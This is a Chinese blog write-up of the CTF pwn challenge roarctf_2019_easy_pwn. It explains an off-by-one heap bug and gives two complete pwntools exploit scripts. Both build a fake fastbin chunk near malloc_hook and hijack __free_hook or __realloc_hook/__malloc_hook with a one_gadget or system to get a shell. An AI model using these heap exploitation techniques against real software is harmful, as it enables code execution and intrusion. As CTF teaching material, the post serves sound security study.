这篇博客主要记录当直接在malloc_hook中直接写入one_gadget不起作用时的一些处理方法。题目附件:https://buuoj.cn/challenges#roarctf_2019_easy_pwn

题目分析:

  • 题目提供了Create, Write, Drop, Show四个函数,其中Write函数存在off by one漏洞

利用思路:

  • 利用off by one修改chunk的size达到overlap的目的

这道题目的难点在于向malloc_hook中写入的one_gadget全部失效。在一番苦思后我决定看看大佬的博客,现记录一下其中的处理方法:

解法一:

  • 在malloc_hook附近构造fake_chunk,通过修改fastbin中的chunk的fd指针把fake_chunk放入fastbin中,然后在分配出去
  • 修改main_arean中top_chunk的地址为free_hook附近
  • 分配chunk控制free_hook
  • 这一步有两个选择,一是向free_hook中写入one_gadget,二是向free_hook中写入system

exp如下:

from pwn import *
from LibcSearcher import *
context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
p = process('./roarctf_2019_easy_pwn')
#p = remote('node3.buuoj.cn', 29382) def Create(size):
#p.sendlineafter('choice: ', '1')
p.recvuntil('choice: ')
p.sendline('1')
p.sendlineafter('size: ', str(size)) def Write(index, size, content):
p.sendlineafter('choice: ', '2')
p.sendlineafter('index: ', str(index))
p.sendlineafter('size: ', str(size))
p.sendafter('content', content) def Drop(index):
p.sendlineafter('choice: ', '3')
p.sendlineafter('index: ', str(index)) def Show(index):
p.sendlineafter('choice: ', '4')
p.sendlineafter('index: ', str(index)) Create(40)
Create(32)
Create(128) #0x80
Create(16)
payload = 'A'*0x28 + '\x51'
Write(0, 50, payload)
payload = '\x00'*0x18 + '\x71'
payload = payload.ljust(0x80, '\x00')
Write(2, 128, payload)
Drop(1)
Create(64) #0x40, chunk 1
payload = '\x00'*0x28 + '\x91'
payload = payload.ljust(64, '\x00')
Write(1, 64, payload)
Drop(2)
Show(1) p.recv(0x30+9)
malloc_hook = u64(p.recv(8)) - 0x68
log.success("malloc_hook ==> {:#x}".format(malloc_hook)) libc = LibcSearcher('__malloc_hook', malloc_hook)
libc_base = malloc_hook - libc.dump('__malloc_hook')
log.success("libc_base ==> {:#x}".format(libc_base))
one_gadget = libc_base + 0x4526a
log.success("one_gadget ==> {:#x}".format(one_gadget))
free_hook = libc_base + libc.dump('__free_hook')
log.success("free_hook ==> {:#x}".format(free_hook))
fake_chunk = free_hook - 0xb58
log.success("fake_chunk ==> {:#x}".format(fake_chunk))
system_addr = libc_base + libc.dump('system')
log.success("system_addr ==> {:#x}".format(system_addr)) Create(96) #0x60
Drop(2)
payload = '\x00' * 0x28 + p64(0x71) + p64(malloc_hook - 0xb) + '\x00'*8
Write(1, 64, payload) Create(96)
Create(104)
payload = '\x00'*0x60 + '\x00'*3 + p64(free_hook-0xb58)[0:6]
Write(4, 114, payload) for i in range(11):
Create(256) payload = '\x00'*0xa8 + p64(one_gadget)
payload = payload.ljust(256, '\x00')
Write(15, 256, payload) Write(3, 16, '/bin/sh\x00'.ljust(16, '\x00'))
#gdb.attach(p)
Drop(3)
p.interactive()

解法二:

  • 在malloc_hook附近构造fake_chunk,通过修改fastbin中的chunk的fd指针把fake_chunk放入fastbin中,然后在分配出去
  • 因为realloc_hook在malloc_hook - 0x8的位置,所以我们向realloc_hook中写入one_gadget,向malloc_hook中写入realloc函数的地址

exp如下:

from pwn import*
p = process("./roarctf_2019_easy_pwn")
#p = remote('node3.buuoj.cn', 25192)
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
a = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add(size):
p.recvuntil("choice:")
p.sendline("1")
p.recvuntil("size:")
p.sendline(str(size)) def edit(idx,size,content):
p.recvuntil("choice:")
p.sendline("2")
p.recvuntil("index: ")
p.sendline(str(idx))
p.recvuntil("size:")
p.sendline(str(size))
p.recvuntil("content: ")
p.sendline(content) def delete(idx):
p.recvuntil("choice:")
p.sendline("3")
p.recvuntil("index: ")
p.sendline(str(idx)) def show(idx):
p.recvuntil("choice:")
p.sendline("4")
p.recvuntil("index: ")
p.sendline(str(idx)) add(24) #0
add(24) #1
add(56) #2
add(34) #3
add(56) #4
edit(0,34,'aaaaaaaaaaaaaaaaaaaaaaaa'+'\x91')
delete(1)
add(56) #1
show(2)
address = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print "address:" + hex(address) libc_Addr = address-(0x7ffff7dd1b78-0x7ffff7a0d000) malloc_hook_fkchunk = libc_Addr + 0x3c4aed
log.success("malloc_hook_fkchunk ==> {:#x}".format(malloc_hook_fkchunk)) #one = libc_Addr+0x4526a#0xf02a4#0x4526a0xf1147 #0x45216#
one = libc_Addr + 0xf1147
log.success("one_gadget ==> {:#x}".format(one))
ralloc_hook = libc_Addr +a.symbols['__realloc_hook']
realloc=libc_Addr+a.symbols['__libc_realloc']
log.success("realloc ==> {:#x}".format(realloc))
realloc_addr = libc_Addr + a.symbols['realloc']
log.success("realloc_addr ==> {:#x}".format(realloc_addr))
malloc_addr = libc_Addr + a.symbols['malloc']
log.success("malloc_addr ==> {:#x}".format(malloc_addr)) add(56)#5
add(24)#6
add(24)#7-->x91
add(90) #8
add(90) #9
add(24) #10 edit(6,34,'aaaaaaaaaaaaaaaaaaaaaaaa'+'\x91')
delete(7)
delete(8)
add(110) #7 edit(7,120,'l'*0x10+'\x00'*8+'\x71'+'\x00'*7+p64(malloc_hook_fkchunk)+'\x00'*70)
add(90)
add(90)#11
edit(11,100,'l'*0x3 +p64(0)+p64(one)+ p64(realloc_addr)+'\x00'*63) p.recvuntil("choice:")
p.sendline("1")
p.recvuntil("size:")
#gdb.attach(p)
p.sendline(str(90))
p.interactive()

roarctf_2019_easy_pwn的更多相关文章

  1. [BUUCTF]PWN——roarctf_2019_easy_pwn(详解)

    roarctf_2019_easy_pwn 附件 步骤: 例行检查,64位程序,保护全开 试运行一下程序,看看大概的情况,经典的堆块的菜单 64位ida载入,改了一下各个选项的函数名,方便看程序(按N ...

  2. BUUCTF pwn一分题目

    因为以前做过一些题目,看见1分题目也不太多了,就想着,抓紧点把1分题都刷一下吧.所以开个帖子记录一下,题目简单的话就只贴exp了. [BJDCTF 2nd]secret 这里有一个输入可以进行溢出,n ...

随机推荐

  1. SSH config语法关键字

    1.SSH config 语法关键字 host 别名 HostName 主机名(ip) User    用户(root就是一个用户) Port 端口(默认22) IdentityFile 密钥文件的路 ...

  2. 手写IOC实现过程

    一.手写ioc前基础知识 1.什么是IOC(Inversion of Control 控制反转)? IoC不是一种技术,只是一种思想,一个重要的面向对象编程的法则,它能指导我们如何设计出松耦合.更优良 ...

  3. JMeter软件测试工具介绍及基本安装教程

    一.工具介绍 (一)简介 Apache JMeter是Apache组织开发的基于Java的压力测试工具.用于对软件做压力测试,它最初被设计用于Web应用测试,但后来扩展到其他测试领域. 它可以用于测试 ...

  4. Kubernetes基于haproxy实现ingress服务暴露

    HAproxy Ingress控制器 HAproxy Ingress简介 HAProxy Ingress watches in the k8s cluster and how it builds HA ...

  5. jQuery的基础效果题

    Jquery第二次考核 之真金不怕火炼 1.  名词解释 实例对象:var p1=new Person();  p1就是实例对象 构造:function Person(){} 原型对象:在 JavaS ...

  6. K8S 创建管理员账号

    一.生成管理员证书 cat > admin-csr.json <<EOF { "CN": "admin", "hosts" ...

  7. 调试备忘录-nRF24L01P的使用(教程 + 源码)

    目录--点击可快速直达 MCU:KEAZ64A MDK:CodeWarrior 11.0 目录 写在前面 什么是nRF24L01P? nRF24L01P模块的简单介绍 nRF24L01P的工作模式 n ...

  8. 【算法•日更•第三十期】区间动态规划:洛谷P4170 [CQOI2007]涂色题解

    废话不多说,直接上题:  P4170 [CQOI2007]涂色 题目描述 假设你有一条长度为5的木版,初始时没有涂过任何颜色.你希望把它的5个单位长度分别涂上红.绿.蓝.绿.红色,用一个长度为5的字符 ...

  9. iNeuOS工业互联平台,WEB组态(iNeuView)集成rtmp和websocket视频元件,支持海康、大华等摄像头实时显示视频

    目       录 1.      概述... 1 2.      平台演示... 2 3.      硬件摄像头... 2 4.      视频流协议转换管理... 2 5.      组态视频元件 ...

  10. 前端进阶必读:《JavaScript核心技术开发解密》核心提炼二

    前言 最近读勒基本关于前端的数据<JavaScript核心技术开发解密>,<webpack从入门到进阶>...这几本书帮助到我更好的理解JS.webpack在前端技术领域中的作 ...